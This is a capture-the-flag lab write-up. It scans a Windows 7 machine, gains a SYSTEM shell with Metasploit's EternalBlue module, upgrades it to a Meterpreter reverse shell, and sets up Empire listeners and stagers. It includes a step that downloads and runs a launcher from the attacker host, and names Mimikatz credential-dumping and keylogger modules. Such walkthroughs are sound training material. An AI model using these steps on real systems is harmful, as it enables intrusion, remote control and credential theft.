Empire

Empire

Empire is a command and control server challenge.

IP Address : 10.10.203.222

Scanning:

nmap 10.10.203.222 -p-

```
┌──(root💀Explore)-[~/Desktop/MyFiles/THM/Empire]
└─# nmap -T4 10.10.203.222                                                    1 ⚙
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-18 15:26 IST
Nmap scan report for 10.10.203.222
Host is up (0.71s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49158/tcp open  unknown
49159/tcp open  unknown
```

nmap -A 10.10.203.222

```
┌──(root💀Explore)-[~/Desktop/MyFiles/THM/Empire]
└─# nmap -A 10.10.203.222                                                     1 ⚙
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-18 15:28 IST
Nmap scan report for 10.10.203.222
Host is up (0.93s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=Jon-PC
| Not valid before: 2022-01-17T08:57:57
|_Not valid after:  2022-07-19T08:57:57
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
49159/tcp open  msrpc        Microsoft Windows RPC
```

Exploitation

Tool : metasploit framework

selecting exploit module and configuring

```
┌──(root💀Explore)-[~/Desktop/MyFiles/THM/Empire]
└─# msfdb start && msfconsole                                          148 × 1 ⚙
[+] Starting database
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):
```

Set necessary fields and exploit the system.

```
[+] 10.10.19.248:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.19.248:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.19.248:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Command shell session 1 opened (10.4.0.94:4444 -> 10.10.19.248:49173 ) at 2022-01-19 11:18:53 +0530

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type               Information  Connection
  --  ----  ----               -----------  ----------
  1         shell x64/windows               10.4.0.94:4444 -> 10.10.19.248:49173  (10.10.19.248)

msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/multi/manage/shell_to_meterpreter
```

Background the current session and upgrade the session

```
msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to aut
                                       o detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on

msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > exploit

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.4.0.94:4433
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) >
[*] Sending stage (200262 bytes) to 10.10.19.248
[*] Meterpreter session 2 opened (10.4.0.94:4433 -> 10.10.19.248:49178 ) at 2022-01-19 11:21:30 +0530
[*] Stopping exploit/multi/handler

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i
sessions -i 1  sessions -i 2
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > whoami
[-] Unknown command: whoami
meterpreter > shell
Process 2996 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

For the next steps, we are doing it with the Empire tool set.

Tools:

Installing Empire

git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
./setup/install.sh

Installing Starkiller

https://github.com/BC-SECURITY/Starkiller/releases #Select the latest release
starkiller-1.9.0.AppImage #The one I used
chmod +x starkiller-1.9.0.AppImage
./starkiller-1.9.0.AppImage
URL: 127.0.0.1:1337
Username : empireadmin
Password: password123

Empire Overview
- Listeners
- Stagers(Payloads)
- Agents
- Modules
- Credentials
- Reporting

Listeners
- http
  - http_com : http listner with IE COM object
  - http_foreign : to point diff. empire server
  - http_hop : for creating redirection using php
  - http_mapi : with MAPI COM object

- Creating Listener
  - CREATE_LISTENER
    - Select the type(http)
    - Add host(10.4.0.94)
    - port no(53)
    - Submit

Stager
- Creating stager
  - CREATE_STAGER
    - select stager type(windos/launcher_bat)
    - select listener(http)
    - select language(powershell)
    - submit

    - Download or copy the stager for further use

  - Stager Execution
    - python3 -m http.server
    - wget 10.4.0.94:8000/launcher.bat -outfile launcher.bat
    - ./launcher.bat

agents
- This will help to execute the commands
- For this tasks, module Mimikatz is used
- Used module in mimicatz:
  - powershell/credentials/mimicatz/command
- keylogger module:
  - powershell/collection/keylogger

Plugins
- Plugins are extensions for Empire.
  - Eg:(Empire) plugin SockServer
    - (Empire) start SockServer
    - (Empire) stop SockServer